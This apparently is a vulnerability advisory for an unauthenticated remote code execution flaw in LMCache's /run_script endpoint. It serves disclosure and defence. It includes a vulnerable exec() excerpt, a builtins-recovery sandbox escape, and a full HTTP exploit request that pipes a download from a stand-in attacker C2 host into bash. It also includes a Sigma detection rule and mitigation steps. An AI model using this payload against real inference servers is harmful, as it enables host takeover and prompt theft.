Skip to content

CVE-2026-107204: LMCache Distributed KVCache Store Unauthenticated Remote Code Execution via /run_script Endpoint

Density:
HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE EVALUATION

Target: LMCache Distributed KVCache Store โ€” Internal API & Multiprocess HTTP Server (run_script_api.py)
Confidence: 98%
95 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 16 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

Both CVSS v3.1 (9.8 Critical) and CVSS v4.0 (9.3 Critical) evaluate this vulnerability as an unauthenticated remote execution flaw across network boundaries. The Hermes Threat Score assesses it at 95 (CRITICAL) with an Agentic Security Score (HASS) of 98 (CRITICAL). LMCache serves as the high-throughput distributed Key-Value cache fabric across disaggregated prefill and decode clusters running vLLM, Mooncake, and SGLang. The vulnerability resides in an unprotected /run_script endpoint exposed on internal API and multiprocessing HTTP servers. While developers attempted to sandbox execution by stripping global namespaces, injecting the live FastAPI application instance allows attackers to traverse object attributes, recover pristine __builtins__, import the os module, and execute arbitrary commands. Beyond standard host compromise, this grants untrusted network actors direct, unauthenticated control over multi-tenant LLM context memory, enabling invisible attention-tensor tampering (MITRE ATLAS AML.T0043) and cross-session prompt exfiltration.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-107204: LMCache Distributed KVCache Store Unauthenticated Remote Code Execution via /run_script EndpointVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTLMCache Distributed KVCache Store
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in LMCache Distributed KVCache Store documented in Hermes dossier.”

Supporting Verified Evidence:

LMCache coordinates multi-tier KV cache pooling across GPU high-bandwidth memory (HBM), host DRAM, local NVMe, and network stores. It exposes both multiprocess communication interfaces and lightweight FastAPI web services to allow coordination between inference worker processes and remote cache nodes.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-107204International vulnerability catalog identifier
Software PlatformLMCache Distributed KVCache StoreDistributed LLM inference memory acceleration engine
Vulnerable Componentslmcache/v1/internal_api_server/common/run_script_api.py / lmcache/v1/multiprocess/http_apis/common_api.pyFastAPI route handlers for /run_script
Vulnerability ClassCWE-306 / CWE-94 / CWE-78Missing Authentication / Arbitrary Code Execution
Attack VectorNetwork (Port 8000/tcp, Port 65432/tcp)Unauthenticated HTTP POST with JSON payload
Remediation ReleaseLMCache v0.5.6Removal of debug execution endpoints & token verification
[ Unauthenticated Attacker ]
|
HTTP POST /run_script to LMCache Internal API Port
Payload: Python code exploiting FastAPI app reflection
|
v
+----------------------------------------------------+
| LMCache Internal HTTP API (FastAPI Router) |
| 0.0.0.0:8000 / 0.0.0.0:65432 Unauthenticated |
+----------------------------------------------------+
|
exec(script, {"app": app, "__builtins__": {}})
|
v
+----------------------------------------------------+
| Sandbox Escape via App Object |
| app.__class__.__bases__[0].__subclasses__() |
| or app.extra['__builtins__'] -> import os |
+----------------------------------------------------+
|
v
+----------------------------------------------------+
| Arbitrary OS Command Execution (RCE) |
| Privileges: Inference Server Daemon |
+----------------------------------------------------+
/ | \
v v v
[ Poison KV Caches ] [ Exfiltrate Prompts ] [ Hijack GPU Node ]
AML.T0043 Tensor Tamper Multi-Tenant Memory Leak Container Breakout

The root cause exists in two related API handler modules: lmcache/v1/internal_api_server/common/run_script_api.py and lmcache/v1/multiprocess/http_apis/common_api.py.

Developers implemented a dynamic script execution mechanism designed for rapid debugging and cluster telemetry. The route handler was defined without any dependency on authentication or API key middleware:

# Vulnerable excerpt from lmcache/v1/internal_api_server/common/run_script_api.py
from fastapi import APIRouter, Request, HTTPException
from pydantic import BaseModel
router = APIRouter()
class ScriptRequest(BaseModel):
script: str
@router.post("/run_script")
async def run_script(request: Request, body: ScriptRequest):
# CRITICAL FLAW 1: No authentication, session token, or mTLS check
app = request.app
# Flawed attempt at sandboxing:
# Overriding __builtins__ with an empty or sanitized dict
execution_context = {
"app": app,
"__builtins__": {} # Supposed to prevent __import__
}
try:
# CRITICAL FLAW 2: Direct exec() of user-supplied code
exec(body.script, execution_context)
return {"status": "success"}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))

The developer intended to block dangerous functions like __import__, open(), and eval() by setting "__builtins__": {}. However, passing the live app instance into the execution dictionary breaks this restriction completely:

  1. Object Hierarchy Navigation: In Python, any class instance maintains references to its class (__class__), base classes (__bases__), and global module scopes (__init__.__globals__).
  2. Accessing Module Globals: By querying app.router.__class__.__init__.__globals__, an attacker gains access to the sys and builtins modules imported by FastAPI.
  3. Restoring __import__: Through this path, the attacker retrieves the original builtins.__import__ function and imports os or subprocess, achieving full remote command execution.

Adversaries weaponize CVE-2026-107204 through a straightforward multi-step exploit sequence:

[Discovery] โ”€โ”€> [Payload Formulation] โ”€โ”€> [HTTP POST] โ”€โ”€> [Sandbox Breakout] โ”€โ”€> [Host Takeover]
Scan 8000/tcp FastAPI Reflection /run_script os.system('id') Reverse Shell &
Shodan/Masscan Builtins Recovery Unauthenticated Inference Daemon Cache Poisoning

An attacker transmits a JSON payload to the unauthenticated port:

POST /run_script HTTP/1.1
Host: inference-node-04.cluster.internal:8000
Content-Type: application/json
Content-Length: 268
{
"script": "builtins = [c for c in app.router.__class__.__init__.__globals__.values() if hasattr(c, '__import__') or (isinstance(c, dict) and '__builtins__' in c)][0]\nos = builtins['__import__']('os')\nos.system('curl -s https://c2.attacker.org/beacon | bash')"
}

Upon processing, the LMCache process executes the payload synchronously. Because inference worker daemons frequently operate with elevated container capabilities (such as --ipc=host, --gpus all, or shared memory volume mounts for RDMA transfer), the attacker can access neighboring container memory spaces and leverage GPU hardware devices.


Security operations and DFIR teams investigating potential exploitation of CVE-2026-107204 should examine HTTP access logs, process execution telemetry, and GPU cluster network flows.

title: LMCache Unauthenticated Script Execution Endpoint Invocation
id: 8c1d5f30-e340-4b21-9961-fa89b3f72a04
status: experimental
description: Detects HTTP POST requests targeting the LMCache /run_script endpoint indicating potential CVE-2026-107204 exploitation.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-10-08
logsource:
category: webserver
product: ingress_controller / envoy / nginx / uvicorn
detection:
selection_path:
cs-method: 'POST'
cs-uri-stem|endswith: '/run_script'
selection_payload:
cs-uri-query|contains:
- '__globals__'
- '__builtins__'
- '__subclasses__'
condition: selection_path or selection_payload
fields:
- c-ip
- cs-method
- cs-uri-stem
- sc-status
falsepositives:
- Authorized internal maintenance scripts in isolated dev clusters (rare)
level: critical
tags:
- attack.execution
- attack.t1059.006
- cve.cve-2026-107204

  1. Upgrade LMCache: Deploy LMCache version 0.5.6 or higher immediately across all inference nodes and Kubernetes deployment manifests:

    Terminal window
    pip install --upgrade "lmcache>=0.5.6"
  2. Decommission Debug Endpoints: In 0.5.6, the /run_script endpoint has been eliminated from the production API router. If immediate upgrade is delayed, block the path in your edge ingress or reverse proxy:

    # Nginx mitigation snippet
    location /run_script {
    return 403 "Forbidden";
    }
  3. Network Isolation & Loopback Binding: Ensure LMCache internal coordination endpoints bind strictly to loopback (127.0.0.1) or private cluster pod CIDRs using Kubernetes NetworkPolicies, preventing ingress exposure from external or multi-tenant networks.

  4. Restrict Container Capabilities: Run inference containers with drop-all Linux capabilities and enforce non-root UID execution (securityContext.runAsNonRoot: true).